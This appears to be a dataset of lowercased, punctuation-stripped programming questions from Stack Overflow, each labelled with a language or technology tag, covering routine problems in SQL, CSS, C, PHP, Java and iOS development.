is it possible to merge two tables by primary key   i have two tables  which i need to merge  and they are:   <pre><code>create table if not exists `legacy_bookmarks` (   `id` int(11) not null auto_increment    `url` text    `title` text    `snippet` text    `datetime` datetime default null    primary key (`id`)    key `datetime` (`datetime`)    fulltext key `title` (`title` `snippet`) ) </code></pre>   and:   <pre><code>create table if not exists `legacy_links` (   `id` mediumint(11) not null auto_increment    `user_id` mediumint(11) not null    `bookmark_id` int(11) not null    `status` enum( public   private ) not null default  public     unique key `id` (`id`)    key `bookmark_id` (`bookmark_id`) ) </code></pre>   as you can see   legacy_links  contains the id for  legacy_bookmarks . am i able to merge the two  based on this relationship     i can easily change the name of the id column in  legacy_bookmarks  to  bookmark_id   if that makes things any easier.    just so you know  the order of the columns  and their types  must be exact  because the data from this combined table is then to be imported into the new  bookmarks  table.    also  i d need to able to include additional columns (a  modification  column  populated with the  datetime  values)  and change the order of the ones i have.    any takers,mysql
text opacity in css  is there any way i could treat text inside of a wordpress widget  to make it semi transparent using an opacity funcion  only limiting myself to the content of the following code block.   <pre><code>#content .widget .caption h3 { color:#000000; font-family: overlock ; margin:0 -10px; padding:0 10px; font-size:27px; height:46px; line-height:46px; font-weight:bold; </code></pre>   }    with the option below  the entire widget will be treated as transparent.    <pre><code> #content .widget .caption h3 { color:#000000; font-family: overlock ; margin:0 -10px; padding:0 10px; font-size:27px; height:46px; line-height:46px; font-weight:bold; opacity:0.2; </code></pre>   }    i only want the to have its opacity changed. is it even possible that way,css
problem while displaying image in imageview  i create a view based project named myclass.    and i add another uiviewcontroller subclass to it  named as webdata.    in the webdataviewcontroller.m i get image from the webserver.    i need to display this image on imageview in myclassviewcontroller.m from webdataviewcontroller.m    for this my code in  webdataviewcontroller.m is   <pre><code>docdir = [nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes) objectatindex:0];     imagepath = [nsstring stringwithformat:@ %@/image.png  docdir];     logopath = [nsstring stringwithformat:@ %@/logo.png  docdir];  myclassviewcontroller *obj = [[myclassviewcontroller alloc]init]; obj.homeimage.image = [uiimage imagewithcontentsoffile:imagepath]; </code></pre>   but image is not displayed i try to print image in console    <pre><code>nslog(@ image to display %@  obj.homeimage.image); nslog(@ image to display %@  [uiimage imagewithcontentsoffile:imagepath]);     </code></pre>   but i get like this   <pre><code>image to display (null)  image to display &lt;uiimage: 0x6f614b0&gt; </code></pre>   why i get null for obj.homeimage.image i did n t get can any one please help me.    thank u in adavance.    (let me add comment if question is not understandable),iphone
how to correctly comment tags on html   let s imagine we got this html:   <pre><code>&lt;p&gt;some text&lt;/p&gt; </code></pre>   i have always comented like this:   <pre><code>&lt;!--p&gt;some text&lt;/p--&gt; </code></pre>   and my co-worker says that s the right way to comment on html:   <pre><code>&lt;!--&lt;p&gt;some text&lt;/p&gt;--&gt; </code></pre>   is not valid the way i comment  is one way more correct than the other,html
how do i change the background color (specifically on shapes) of css hover   this is my code and this is the navigation bar  created with wordpress php.     navigation bar without hover:    <a href= http://postimg.org/image/awr4dlok5/  rel= nofollow >http://postimg.org/image/awr4dlok5/</a>    when i hover  it wont follow the shape of the navigation bar. i wanted it to have rounded corners. please help.    this is how it should look:    <a href= http://postimg.org/image/jhks7djnz/  rel= nofollow >http://postimg.org/image/jhks7djnz/</a>    thank you :) (ignore background  just some random anime pics)   <pre><code>.site-nav {     height: 50px;     width: 960px;     margin: 15px auto;     color: white;     background: rgb(72  55  35);     background: rgba(72  55  35  .75);     -webkit-border-radius: 15px;     -moz-border-radius: 15px;     border-radius: 15px;     -webkit-box-shadow: 3px 3px 3px 0px rgba(0  0  0  0.4);     -moz-box-shadow: 3px 3px 3px 0px rgba(0  0  0  0.4);     box-shadow: 3px 3px 3px 0px rgba(0  0  0  0.4); } .site-nav ul {     margin: 0;     padding: 0; } .site-nav ul:before  .site-nav:after {     content:  ;     display: table; } .site-nav ul:after {     clear: both; } .site-nav ul {     *zoom: 1; } .site-nav ul li {     list-style: none;     float: left;     border-right: 1px solid gray;     height: 50px; } .site-nav ul li a:link  .site-nav ul li a:visited {     display: block;     padding: 14px 18px;     text-decoration: none;     font-size: 17px; } .site-nav ul li a:hover {     background:rgba(72  55  35  0.4); } </code></pre>,css
c++ default arguments out of order   suppose i have:    <pre><code>void f(bool option1 = false  bool option2 =false  bool option3 = false)  {      ...  } </code></pre>   and i want to call:    <pre><code>f(option2=true); </code></pre>   is this possible in c++,c++
sql help required  i have a question which asks:   <blockquote>    make a list of all data stored in da_students  da_enrolments and da_courses. write a query that makes all columns appear only once in the output  the rows are sorted by students  first name ascending and course_id descending so that students are grouped by course (without using a group by clause) and generated first/ last names( fname..  lname...) do not appear in the output.  </blockquote>   the current code i have is:   <pre><code>select * from da_students     full join da_enrolments on student_id = student_student_id      full join da_courses on course_course_id = course_id order by first_name asc  course_id desc; </code></pre>   any help please,sql
how to code multiline javascript strings   i want to build a long string in javascript that is made up of many components and i d like use multiple lines to make the code easier to understand.  i tried:   <pre><code>data =  &lt;!doctype html&gt;     &lt;!-- html5  --&gt;     &lt;html&gt;     &lt;head&gt;     &lt;meta charset= utf-8  /&gt;     &lt;title&gt;webplaces&lt;/title&gt;       +      styleblock          +      &lt;/head&gt;      &lt;body&gt;           +     outerhtml           +       &lt;/body&gt;     &lt;/html&gt;  ;   </code></pre>   but javascript doesn t like that at all.  is there a way to do  this     thanks,javascript
how to install .ipa programatically  how do i install an .ipa file programatically on the iphone sdk    is there some framework for that   im not jailbreaker  just coding some app for client  and that s what he wants. so please help :) thanks very much :),iphone
$apply and $digest working same or not please understand  <pre><code>i have confusion in $digest when we need to used   but $apply i think we need when angular js into any element have outside scope then we use $apply and update it with value.  </code></pre>   $digest means same but how can we use so  we used differently.    internally $digest call in this code.,angularjs
project euler 14th crashes  i m trying to solve project euler questions and on the <a href= https://projecteuler.net/problem=14  rel= nofollow >14th question</a> when i compile it the exe keeps on crashing. here is my code   <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; using namespace std; int main() {     int counter_array[1000000];     int array_key=0;     for(int x=1;x&lt;=1000000;x++)     {         int y=x;         int z=1;         int counter=0;         while(z==1)         {             if((y%2)==0 &amp;&amp; y&gt;1)             {                 y=y/2;             }             else             {                 if((y%2)!=0 &amp;&amp; y&gt;1)                 {                     y=(3*y)+1;                 }                 else                 {                     z=2;                 }             }             counter++;             counter_array[array_key]={counter};             array_key++;         }     }     int temp=0;     int pos=0;     for(int i=0; i&lt;1000000;i++)     {         if(counter_array[i]&gt;temp)         {             temp=counter_array[i];             pos=i;         }     }     cout &lt;&lt; pos &lt;&lt;  -----&gt; &lt;&lt;temp &lt;&lt; endl; } </code></pre>   i don t know what went wrong. please forgive me for my mistakes i m really new at this .,c++
im having an issue entering a last name to an input  i am writing a program to print out the name of a student and their grade. it works if i only enter their first name and i get an error when i enter their last. i am wondering if i have overlooked something with the string name.   <pre><code>package project_2;  import java.util.scanner;  public class project_2 {     public static void main(string[] args) {         scanner input=new scanner(system.in);         system.out.print( enter your name:  );         string name = input.next();         system.out.print( enter grade: \t );         double grade = input.nextdouble();         if(grade&gt;=88)             system.out.println(name  +  you have an a! );         else if (grade&lt;=87 &amp;&amp; grade&gt;=80)             system.out.println(name  +  you have a b! );         else if (grade&lt;=79 &amp;&amp; grade&gt;=67)             system.out.println(name  +  you have a c! );         else if (grade&lt;=66 &amp;&amp; grade&gt;=60)             system.out.println(name  +  you have a d! );         else              system.out.println(name  +  you have a f! );     } } </code></pre>,java
center contents of fluid middle div in three column layout  i cannot for the life of me get the contents of the center div to align no matter what i try:    html   <pre><code>&lt;div class= content-controls &gt;     &lt;div class= content-controls-left &gt;         123     &lt;/div&gt;     &lt;div class= content-controls-middle &gt;         &lt;img src= logo.png &gt;     &lt;/div&gt;     &lt;div class= content-controls-right &gt;         456     &lt;/div&gt; &lt;/div&gt; </code></pre>   css   <pre><code>.content-controls {     width:100%; } .content-controls-left {     float:left;     width:50px; } .content-controls-right {     float:right;     width:35px; } .content-controls-middle {     float:left;     margin:auto 0; } </code></pre>   what i would like to happen is that the image in the middle column is always centred in content-controls-middle - i have tried suggestions in:   <ol> <li><a href= https://stackoverflow.com/questions/6810031/css-center-element-within-a-div-element >css: center element within a &lt;div&gt; element</a></li> <li><a href= https://stackoverflow.com/questions/19070474/how-do-i-put-3-divs-side-by-side-and-center-the-content-in-each-one >how do i put 3 div&#39;s side by side and center the content in each one</a></li> <li><a href= https://stackoverflow.com/questions/6826542/three-divs-next-to-each-other-with-fluid-horizontal-width >three divs next to each other with fluid horizontal width</a></li> <li><a href= https://stackoverflow.com/questions/4888223/align-image-in-center-and-middle-within-div >align image in center and middle within div</a></li> </ol>   and more but all to no avail - what am i doing wrong     <a href= http://jsfiddle.net/8vs5u/  rel= nofollow noreferrer >http://jsfiddle.net/8vs5u/</a>,css
php | upload excel into sql databse - getting error undefined offset  okay  i am getting a undefiend offset error on [1] and [2] which should be $event_date and $event_organization.      the weird thing is that i also have it set to display the row and the data entered for said row. it even displays this data correctly via echo.      another strange thing is i have a second csv upload area on the site that is a carbon copy that work correctly. the only differance is the $_get ($type) for the url passed variable.      maybe i should change it to a $_post instead  they only thing $type does is determine if it is a bulk entry or single entry.     edit 1<br> i changed it from a $_get to a $_post by adding a hidden field in the form on the prior page  and still received the same error.   <pre><code>$type = $_get[ type ];  if($type ==  bulk ) {     if ($_files[ excel ][ size ] &gt; 0)      {          //get the csv file          $file = $_files[ excel ][ tmp_name ];          $handle = fopen($file  r );           //loop through the csv file and insert into database          $column_headers = array();         $row_count = 0;         $count = 1;          while (($data = fgetcsv($handle  100000     )) !== false)          {             if ($row_count != 0)             {                 //user input                 $event_name = $data[0];                 $event_date = $data[1];                 $event_organization = $data[2];                  echo    .$event_name.   .$event_date.   .$event_organization. &lt;br&gt; &lt;br&gt; ;                  //add account informaion | login                 $create_event_query = insert into event(event_name                                        event_date    event_organization)                                       values(     ) ;                 $create_event_stmt = $conn-&gt;prepare($create_event_query);                 $create_event_stmt-&gt;bind_param( sss  $event_name $event_date $event_organization);                 $create_event_stmt-&gt;execute();                  if(!$create_event_stmt)                 {                     echo &lt;h2&gt;&lt;a href= events.php &gt;try again&lt;/a&gt;&lt;/h2&gt; ;                 }                 else                 {                     echo enter row:  .$row_count. &lt;br&gt; ;                     echo    .$event_name.   .$event_date.   .$event_organization. &lt;br&gt; &lt;br&gt; ;                 }                  $create_event_stmt-&gt;close();                  $row_count = $row_count + 1;             }             else             {                 $column_headers = $data;                 $row_count = $row_count + 1;             }         }         echo &lt;h2&gt;&lt;a href= events.php &gt;go back&lt;/a&gt;&lt;/h2&gt; ;     }     else     {      }                                } </code></pre>,php
"why position: relative without z-index creates a new stacking context   from this <a href= https://tiffanybbrown.com/2015/09/css-stacking-contexts-wtf/index.html  rel= nofollow noreferrer >article</a>:    <blockquote>    two elements with the same stack level are layered based on their source order. successive elements stack on top of their predecessors.  </blockquote>   and from <a href= https://developer.mozilla.org/en/docs/web/css/css_positioning/understanding_z_index/the_stacking_context  rel= nofollow noreferrer >this</a>:   <blockquote>    a stacking context is formed  anywhere in the document  by any element in the following scenarios: ... 2. element with a position value  absolute  or  relative  <strong>and z-index value other than  auto .</strong>  </blockquote>   now please look at this piece of code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.c1 {
   position: relative;
   top: 50px;
 }
 
 
 .c2 {
    background: green;
    width: 200px;
    height: 200px;
  }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= c1 &gt;
   why i m visible 
 &lt;/div&gt; 
 
 &lt;div class= c2 &gt;&amp;nbsp;&lt;/div&gt;</code></pre>
 </div>
 </div>
     as follows from two previous quotes  <code>div.c1</code> shouldn t create a new stacking context  because it doesn t have <code>z-index</code>. therefore  <code>div.c1</code> and <code>div.c2</code> are in <code>&lt;html&gt;</code> stacking context  and should be rendered in order. but why <code>div.c2</code> is rendered <strong>under</strong> <code>div.c1</code>",css
is there an ios framework for calculations with si units  i am taking masses (as g  mg  µg  ng &amp; kg) and volumes (as ml  µl &amp; l) as input to a chemistry app.     currently i convert all masses to grams and volumes to litres  save in core data and perform any calculations as doubles.      finally results are then converted back into a meaningful unit ie 0.000034litres is more useful expressed as 34µl for my customers     what is best practice for working between different units,ios
remove whitespace from only last item in list  how do i remove only the last whitespace from this code  when i omit the <code>end=   </code> in print  then it removes all the whitespace and i don t want that.   <pre><code>r = input( line:  ) while true:     n = r.split()     if r ==   :       break       else:       for word in n:         print(word[::-1]  end=   )       r = input( \nline:  ) </code></pre>   without the <code>end=   </code>  when i input <code> hello world </code>  it outputs <code> ollehdlrow </code>. when i add <code>end=   </code> instead  it also prints an extra whitespace like this: <code> olleh dlrow  </code>.    how can i obtain this: <code> olleh dlrow </code>,python
showing all decimal numbers in c  so i m trying to print my my data from a file that was already given to me. in our data most of the numbers have 9 decimal places. a starter code was given to me by my teacher and when i try to print the data it only prints up to 6 decimal places. so the last 3 digits don t show up in the output. also i have tried to write the number of decimal places like <code>%.9f</code> but surprisingly the last three digits are  different. for example the number in my data is <code>1.900195512</code> while the printed number (set to 9 decimal places) is <code>1.900195479</code>.    my code is:   <pre><code>#define _crt_secure_no_deprecate #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; // declare constants  // name of file that stores our raw data #define file_name  data_1.csv   // data size #define max_rows 20 #define max_columns 20  // main entry point for the program int main(void) {     // decalred variables     int rowindex = 0;     int columnindex = 0;     float rawdata[max_rows][max_columns]; // 2-dimensional array to store our      raw data     // misc variables used for reading the data from the file     float tempfloat = 0.0f;     float tmp = 0.0f;     char newline =    ;      // ----------------------------------------------------------------------     // open the file for reading      file *infp;     infp = fopen(file_name   r );      // check for errors and exit if found     if (infp == null) {         printf( error: failed to open %s for reading\n   file_name);         return(1);     }      // read the file into the data structure     for (rowindex = 0; rowindex &lt; max_rows; rowindex++) {         // read up until the last value         for (columnindex = 0; columnindex &lt; max_columns - 1; columnindex++) {             if (fscanf_s(infp   %f    &amp;tempfloat) != eof) {                 rawdata[rowindex][columnindex] = tempfloat;             } else {                 printf( error: incorrect file format at row %d  col %d.\n   rowindex + 1  columnindex + 1);                 return(1);             }         }          // read the last value and the newline char         if (fscanf_s(infp   %f%c   &amp;tempfloat  &amp;newline) != eof) {             // check if the last character in the line was a \n otherwise an error occured.             //xiao: i have added newline !=  \n              if (newline !=  \0  &amp;&amp; newline !=  \r  &amp;&amp; newline !=  \n ) {                 printf( error: incorrect file format at line %d. did not find a newline.\n   rowindex + 1);                 return(1);             } else {                 rawdata[rowindex][columnindex] = tempfloat;             }              // reset the character before the next read.              newline =    ;         }     }     // ----------------------------------------------------------------------     // print out the rawdata array     printf(  --- raw data ---\n );     for (rowindex = 0; rowindex &lt; max_rows; rowindex++) {         // read up until the last value         for (columnindex = 0; columnindex &lt; max_columns; columnindex++) {             printf( %.9f    rawdata[rowindex][columnindex]);         }         printf( \n );     }      // exit     return (0); } </code></pre>,c
template lite tags  i really searched but found nothing.    i m new at template lite. i add my project template_lite library and i have two files.    test.php is:   <pre><code> require( ../src/class.template.php );  $tpl = new template_lite;  $tpl-&gt;assign( foo   bar ); </code></pre>   and test.html is   <pre><code>&lt;html&gt;     &lt;head&gt;     &lt;title&gt;document title&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;           {$foo}     &lt;/body&gt; &lt;/html&gt; </code></pre>   what the wrong is output:<code> {$foo} </code>,php
segmentation fault core dump <pre><code>#include &lt;stdio.h&gt;  void scanarray (int*   int*); int pair (int*   int);  int main () {          int a [15]   n;          scanarray (a   &amp;n);  //      printf( \nhello world !!!\n );          if(pair(a   n) == 0)                 printf( the array fulfills the requirements );         else                 printf( the array does not fulfills the requirements );          return 0; }  void scanarray (int *a   int *n) {          int i   f = 0;           do {         printf( enter the number of integers :  );         scanf( %d  n);          if (*n &gt; 15)                 printf( enter number bellow 15 \n );         else                 f=1;         } while(f == 0);          printf( enter the %d integers :   *n);         for (i = 0 ; i &lt; *n ; i++)                 scanf( %d  a+i);  }  int pair (int *a   int n) {          if (n &lt;= 1)                 return 0;         else                 if (*a-*(a+1) != 1 &amp;&amp; *a-*(a+1) != -1)                         return 1;                 else                         return pair(a++   n--);  } </code></pre>   don t know why it s not working.    segmentation fault (core dump).,c
sql - need to return products that are not in one table  my query needs to return the products that are not sourced. all products are listed in the inventory table  but only the ones that have a vendor associated with them are in the vendor_item table. i have tried the following statement just to get back  no data found     <pre><code>select i.item_name  products not sourced   vi.item_num  item number  from inventory i right outer join vendor_item vi on i.item_num=vi.item_num where vi.item_num is null </code></pre>   logical model this is all based on:-     <a href= https://i.stack.imgur.com/g3lxf.png  rel= nofollow noreferrer >enter image description here</a>],sql
how to refresh a div using a button  so i have a  feed  of posts from a database and i want to have a button that refreshes only the div containing the posts  rather than reloading the whole page.,javascript
comparing two columns in two different tables  i have two tables <code>a</code> and <code>b</code> where table <code>a</code> has a column <code>x</code>  table <code>b</code> has column <code>y</code>. these columns contain account number information. i want to check whether the account number information in column <code>a.x</code> is present in <code>b.y</code>.    note: both column <code>x</code> and <code>y</code> can have duplicates because these are like  composite primary keys.    how can i do solve this,sql
remove multiple activities to go back to dashboard from options menu  i have a optionsmenu in my android app  in which is a button to go back to the apps dashboad and remove all activities laying upon that  also removing the history. how is this possible     thx    got the answer:    that s what does the trick:    myintent.addflags(intent.flag_activity_clear_top);   <pre><code>public boolean onoptionsitemselected(menuitem item) {     // handle item selection     switch (item.getitemid()) {     case r.id.dashboard:         intent myintent = new intent(this  dashboard.class);         myintent.addflags(intent.flag_activity_clear_top);         startactivity(myintent);         return true;     default:         return super.onoptionsitemselected(item);     } } </code></pre>,android
nsoperation subclass iscancelled isfinished isconcurrent  i have an nsoperation subclass. i m overriding main &amp; ready. it s not a concurrent op.    when i call [op cancel] the operation does not get removed from the queue. i printed out [op iscancelled] [op isfinished] &amp; [op isconcurrent]..    operation is cancelled:1 operation is finished:0 operation is concurrent:0    what am i doing wrong  wouldn t the super class handle a cancelled op and change the key  isfinished  for a non-concurrent op,objective-c
links on top of image link breaks the image link  first  take a look at this: <a href= http://jsfiddle.net/muncherelli/1kkus9bd/1/  rel= nofollow >http://jsfiddle.net/muncherelli/1kkus9bd/1/</a>    i m having two issues with my html/css:   <ol> <li>there is a link that is wrapped around the img in this html.  i would like there to be some text and other links on top of this image/link  but the image should still work as a link (and darken when you hover your mouse over it).  try removing the entire div with class  blog-post-feature-overlay-content  and you ll see it working properly  but once i add that div back in  it won t work.</li> <li>in order to have the image darken on hover  i am using the opacity selector with a background color of black.  i also have a border rounding property that i am using to soften the corners of the image (and underlying div).  there seems to be a black line on the bottom (below the image) and sometimes  depending on the width of my browser  some of the black peeks through the corners.  how could i get rid of this </li> </ol>   one thing to consider: i am using bootstrap framework which i m not sure is affecting or helping or hurting the situation.    (not sure if i need to ask two questions here but they seemed to be related).    here is the html/css i m using:    html:   <pre><code>&lt;br /&gt; &lt;div class= container &gt;     &lt;div class= row &gt;         &lt;div class= hidden-xs hidden-sm col-md-1 col-lg-1 &gt;&lt;/div&gt;         &lt;div class= col-xs-12 col-sm-12 col-md-10 col-lg-10 nopadding &gt;             &lt;div class= blog-post-feature-overlay-container roundy &gt;                 &lt;a href= http://munchimages.com/blog/session-stories/2015/4th-of-july-shoot-with-teresa-diane &gt;                     &lt;img src= http://cache.blog.munchimages.com/blog/wp-content/uploads/2015/07/mi_73-feature-1200x620.jpg  class= img-responsive roundy blog-post-feature-image  /&gt;                 &lt;/a&gt;                 &lt;div class= blog-post-feature-overlay-content &gt;                     &lt;div class= blog-post-feature-overlay-content-top text-right &gt;                         &lt;a href= http://munchimages.com/blog/session-stories/2015/4th-of-july-shoot-with-teresa-diane  class= blog-category-box general-font-title-serif transition-color-ease-500 &gt;latest post&lt;/a&gt;                         &lt;a href= http://munchimages.com/blog/session-stories/  class= blog-category-box general-font-title-serif transition-color-ease-500 &gt;session stories&lt;/a&gt;                     &lt;/div&gt;                     &lt;div class= blog-post-feature-overlay-content-bottom &gt;                          &lt;h1 class= general-font-title-serif &gt;                             &lt;a href= http://munchimages.com/blog/session-stories/2015/4th-of-july-shoot-with-teresa-diane  class= blog-post-feature-overlay-content-title color-white transition-color-ease-500 &gt;                                 4th of july                             &lt;/a&gt;                         &lt;/h1&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;div class= hidden-xs hidden-sm col-md-1 col-lg-1 &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.general-font-title-serif {     font-family: cinzel   serif; } .nopadding {     margin: 0 !important;     padding: 0 !important; } .blog-post-feature-image:hover {     opacity: 0.9; } .color-white {     color: white; } .roundy {     -moz-border-radius: 3px;     -webkit-border-radius: 3px;     border-radius: 3px; } .transition-color-ease-500 {     -moz-transition: background-color 500ms  color 500ms ease-out;     -ms-transition: background-color 500ms  color 500ms ease-out;     -o-transition: background-color 500ms  color 500ms ease-out;     -webkit-transition: background-color 500ms  color 500ms ease-out;     transition: background-color 500ms  color 500ms ease-out; } div.blog-post-feature-overlay-container {     background-color: #000;     position: relative; } div.blog-post-feature-overlay-content {     height: 100%;     left: 0;     position: absolute;     top: 0;     width: 100%; } div.blog-post-feature-overlay-content-top {     position: absolute;     right: 20px;     top: 20px; } div.blog-post-feature-overlay-content-bottom {     position: absolute;     bottom: 20px;     left: 20px; } a.blog-category-box {     background-color: #ccc;     background-color: rgba(0  0  0  0.4);     color: #fff;     font-size: 13px;     padding: 5px 15px;     text-transform: uppercase; } a.blog-category-box:hover {     background-color: rgba(0  0  0  0.6);     text-decoration: none; } a.blog-post-feature-overlay-content-title {     text-shadow: 1px 1px #000; } a.blog-post-feature-overlay-content-title:hover {     color: #ddd;     text-decoration: none; } @media (max-width: 768px) {     .roundy {         -moz-border-radius: 0;         -webkit-border-radius: 0;         border-radius: 0;     }     h1 {         font-size: 30px;     } } </code></pre>   thanks!,css
how do i export a csv file from access db using asp .net 2.0   i have acess db where i perform a select query which communicates to the sql and pulls up the data and export it as a csv file using asp .net 2.0,asp.net
c - can t stop program using while and logical operator  i m just starting learning c but i really don t know what am i doing wrong. i wrote this code  and it was supposed to stop reading numbers when it receives a negative number. i have wasted a lot of time trying to figure out what it is wrong  and i still don t know what it is.   <pre><code>#include&lt;stdio.h&gt; int main(){     const int qtd = 3;      float ent[qtd];     int i = qtd;      printf( digite os numeros\n );      do{         scanf( %f   &amp;ent[i]);         i--;     }while (ent[i] &gt;= 0 &amp;&amp; i &gt;= 1);        printf( \n\n\n\npressione  enter  para sair );     fflush(stdin);     getchar();     return 0; } </code></pre>,c
php normalizer doesn t show different result  i d like to use the <a href= http://www.php.net/manual/en/class.normalizer.php  rel= nofollow >normalizer class</a> to achieve something like:     ö ä ü é ô  =>  o a u e o     i ran this php-script:   <pre><code>header( content-type: text/html; charset=utf-8 ); echo normalizer::normalize( ö ä ü é ô   normalizer::form_c); </code></pre>   the result is:   <pre><code>ö ä ü é ô </code></pre>   so there is no difference to the input. what can i do,php
taking the oop plunge  i decided to start or try to start coding in oop for my php apps.  here is my first class.  the intention of this class is to start a form and build the different elements.  please let me know if it is even in the right track.  the fields are already stored in the database. the priority param is not doing anything yet  but will highlight the question.   <pre><code>//form class &lt; php  class form {          function genquestion ($id) {          $type = $this-&gt;getquestiontype($id);          $priority = $this-&gt;getquestionpriority($id);          if ($field[ type ] ==  text ) {             $html .= $this-&gt;add_text_field($id  $priority);         }         if ($field[ type ] ==  select ) {             $html .= $this-&gt;add_select_field($id  $priority);         }         if ($this-&gt;type ==  radio ) {             $html .= $this-&gt;add_radio_field($id  $priority);         }         if ($field[ type ] ==  checkbox ) {             $html .= $this-&gt;add_checkbox_field($id  $priority);         }                 return $html;      }      function getquestiontype ($id) {         $field_query =  select type from fields where id =  $id  ;         $field = mysql_query($field_query);         $field = mysql_fetch_assoc($field);         $this-&gt;type = $field[ type ];            }         function getquestionpriority ($id) {         $field_query =  select priority from fields where id =  $id  ;         $field = mysql_query($field_query);         $field = mysql_fetch_assoc($field);         $this-&gt;type = $field[ priority ];            }             function add_text_field($id) {         $fields_query =  select * from fields where id =  $id  ;         $fields = mysql_query($fields_query);         $field = mysql_fetch_assoc($fields);          $content .=  &lt;div&gt;&lt;label&gt;   . $field[ field ] .  : &lt;/label&gt; ;                $content .=  &lt;input type= text  name=   . $field[ id ] .   &gt;&lt;/div&gt; ;         return $content;     }       function add_select_field($id) {         $fields_query =  select * from fields where id =  $id  ;         $fields = mysql_query($fields_query);         $field = mysql_fetch_assoc($fields);          $content .=  &lt;div&gt;&lt;label&gt;   . $field[ field ] .  : &lt;/label&gt; ;                $options = explode( |   $field[ options ]);         $content .=  &lt;select name=   . $field[ id ] .   &gt; ;          while (list($key  $value) = each($labels)) {             $content .=  &lt;option value=   . $key .   &gt;   .  $value .  &lt;/option&gt; ;         }         $content .=  &lt;/select&gt;&lt;/div&gt; ;         return $content;     }       function add_radio_field($id) {         $fields_query =  select * from fields where id =  $id  ;         $fields = mysql_query($fields_query);         $field = mysql_fetch_assoc($fields);          $content .=  &lt;div style= float: left; margin: 0 auto; width: 500px; text-align: right; clear: both; &gt;&lt;div style= float: left; width: 200px; margin-right: 25px; &gt;&lt;label&gt;   . $field[ field ] .  : &lt;/label&gt;&lt;/div&gt; ;               $options = explode( |   $field[ options ]);         while (list($key  $value) = each($options)) {             $content .=  &lt;div style= float: left; margin-right: 7px; &gt;  . $value .  &lt;/div&gt;&lt;div style= float: left;  margin-right: 17px; &gt;&lt;input type= radio  name=   . $field[ id ] .    value=   . $key .    /&gt;&lt;/div&gt; ;         }         $content .=  &lt;/div&gt; ;         return $content;     }       function add_checkbox_field($id) {         $fields_query =  select * from fields where id =  $id  ;         $fields = mysql_query($fields_query);         $field = mysql_fetch_assoc($fields);          $content .=  &lt;div&gt;&lt;label&gt;   . $field[ field ] .  : &lt;/label&gt; ;                $content .=  &lt;input type= checkbox  name=   . $field[ id ] .    value=   . $field[ options ] .    /&gt;   . $field[ labels ] .  &lt;/div&gt; ;         return $content;     }         }   &gt;   //controller $fields_quesry =  select * from fields ; $fields = mysql_query($fields_quesry);  $form = new form;  $form-&gt;genquestion($field[ id ]); </code></pre>,php
why the ienumerable.except method doesn t return any elements   i m generating two <code>ienumerable&lt;int&gt;</code> objects:   <pre><code>var lista = model.selectedformats.select(a =&gt; a.id); //values: 1 2 4 var listb = basket.orderposition.select(x =&gt; x.bookformattypeid); //values: 1 4   var result = lista.except(listb); </code></pre>   but i can t see any results from the <code>except</code> method (the compiler doesn t show even that the  <code>result</code> is),c#
subview was layout from a thread other than the main thread  bug info as following: bool _webtrythreadlock(bool)  0xf28fbd0: tried to obtain the web lock from a thread other than the main thread or the web thread. this may be a result of calling to uikit from a secondary thread. crashing now...   <pre><code>1   _zl17_webtrythreadlockb  2   webthreadlock  3   -[uiwebtiledview layoutsubviews]  4   -[uiwebdocumentview layoutsubviews]  5   -[uiview(calayerdelegate) layoutsublayersoflayer:]  6   -[nsobject performselector:withobject:]  7   -[calayer layoutsublayers]  8   ca::layer::layout_if_needed(ca::transaction*)  9   ca::context::commit_transaction(ca::transaction*)  10  ca::transaction::commit()  11  ca::transaction::pop()  12  +[catransaction commit]  13  figlayersynchronizersynchronizetomoment  14  itemremote_timebasesynchronizationupdate  15  figplayerremotecallbacksserver_timebasesynchronizationupdate  16  _xtimebasesynchronizationupdate  17  figmoviecallbacks_server  18  fpr_clientportcallback  19  figexpressnotificationthread  20  figthreadmain  21  _pthread_start  22  thread_start </code></pre>   <strong>i know it was caused by updating ui in the thread other than the main thread.but i don t know why it was updated not in the main thread</strong>    following is the description:     it was just similiar to the application baofengyingyin. it supported autoplay，minimize playing ui，close playing ui. when i clicked one picture in picwall it jumped to a uiviewcontroller <strong>a</strong> ，and played audio file，show the audio file content and update the progress of progressview.    <strong>a</strong> was composed by a custom view and a movieplaycontroller variable.     the custom uiview was composed by textview（which show the audio file content） progressview ， picture，minimize button ，close button.    as it should continue playing the current audio when  i clicked the minimize button ，and when the audio was playing ，i should update the progress of the progressbar in my custom uiview，so i defined the movieplaycontroller variable and custom view as global variable.    the movieplaycontroller variable was initialized in the appdelegate file，but the custom view was initialized in <strong>a</strong>.    when i clicked minimized button and closed button i will disappear a and release the custom view at the same time.    <strong>the above is my function need and my implementation. when it enter *<em>a</strong> i didn t created new thread so i thought the custom view would not be updated by a thread not in the main.but it would crash when i repeatedly clicked different audio to play.it always happened when i repeated several times and not disciplinarian.     it would happen on the iphone4，i did not see it happen on iphone4s，iphone 5.i had not iphone 3gs，so i didnot know if it would happened too.</em>*   <pre><code>now i modify my code to add the custom view by the function  ”performselectoronmainthread“ in a s init function.it seemed solved. </code></pre>   i published this question，beacuse i want know the reason caused my custom view updating from a thread other than the main thread.    if someone know please tell me！thanks,ios
